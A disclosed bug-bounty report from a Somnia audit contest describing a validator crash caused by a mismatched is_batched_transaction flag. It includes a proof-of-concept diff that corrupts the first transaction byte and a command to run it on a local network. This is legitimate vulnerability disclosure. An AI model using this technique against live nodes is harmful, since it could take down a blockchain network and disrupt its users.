Somnia Disclosed Report

Audit report Somnia Audit Contest

SendMempoolTransactionRequestMessage can contain a malicious transaction that crashes a node

Company
Created date
Sep 12 2025

Target

https://github.com/hackenproof-public/somnia

Vulnerability Details

SendMempoolTransactionRequestMessage has two important fields for this attack. The first is encoded_transaction_data and the second is is_batched_transaction. When a validator receives the message, it does not check whether is_batched_transaction matches the encoded_transaction_data. This means, there is no verification that encoded_transaction_data is actually not a batch when is_batched_transaction is set to false: https://github.com/hackenproof-public/somnia/blob/ea5c191a893153fe020aac35532bbcaca0f8c5d1/somnia/mempool/validator_mempool.h#L100-L120

After this, the transaction is added either to the batched block creator or to the non-batched block creator, depending on the is_batched_transaction field. This allows an attacker to place a batched transaction into the non-batched block creator: https://github.com/hackenproof-public/somnia/blob/ea5c191a893153fe020aac35532bbcaca0f8c5d1/somnia/mempool/validator_mempool.h#L84-L88

The non-batched block creator then tries to validate the transaction as non-batched and performs a RELEASE_ASSERT to check that the transaction is not batched: https://github.com/hackenproof-public/somnia/blob/ea5c191a893153fe020aac35532bbcaca0f8c5d1/somnia/state/transaction_encoding.cc#L231-L232

This RELEASE_ASSERT fails, causing the entire node to crash. An attacker could send this malicious message to all validators, bringing down the entire network.

Validation steps

Apply the following diff to run the PoC:

diff --git a/ci/run-local-deployment.sh b/ci/run-local-deployment.sh
index ab51ed8c..f28df9e3 100755
--- a/ci/run-local-deployment.sh
+++ b/ci/run-local-deployment.sh
@@ -66,6 +66,11 @@ function addNodeAsValidator {
         return
     fi
 
+    if [ $validator_index == 1 ]; then # Node 1 is not a validator because only non validators send SendMempoolTransactionRequestMessage
+        echo "Skipping node $validator_index - not adding as validator"
+        return
+    fi
+
     until $SOMNIA_BIN test add-test-validator \
         --rpc-websocket-url  $rpc_node_hostname \
         --parameters-preset "$NETWORK_PRESET" \
diff --git a/somnia/mempool/non_validator_mempool.h b/somnia/mempool/non_validator_mempool.h
index c701af9f..f3b2b641 100644
--- a/somnia/mempool/non_validator_mempool.h
+++ b/somnia/mempool/non_validator_mempool.h
@@ -347,6 +347,7 @@ private:
         // This next validator is connected. Send the transaction to this validator.
         SendMempoolTransactionRequestMessage message;
         message.encoded_transaction_data = transaction.transaction.encoded_transaction_data;
+        message.encoded_transaction_data[0] = 0xBF; //This makes the transaction a batch
         message.is_batched_transaction = transaction.transaction.is_batched_transaction;
         message.non_validator_transaction_id = transaction.non_validator_transaction_id;
         protocol_outgoing_router.SendMessageToPeer<MempoolMessage>(validator_address,

The PoC can then be run with NETWORK_PRESET=mainnet-small ./ci/run-local-deployment.sh. After some time, the network will fail with a RELEASE_ASSERT.

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
Statedisclosed
Severity
High
Bounty$4,272
Visibilitypartially
VulnerabilityBlockchain
Participants (2)
author
triage team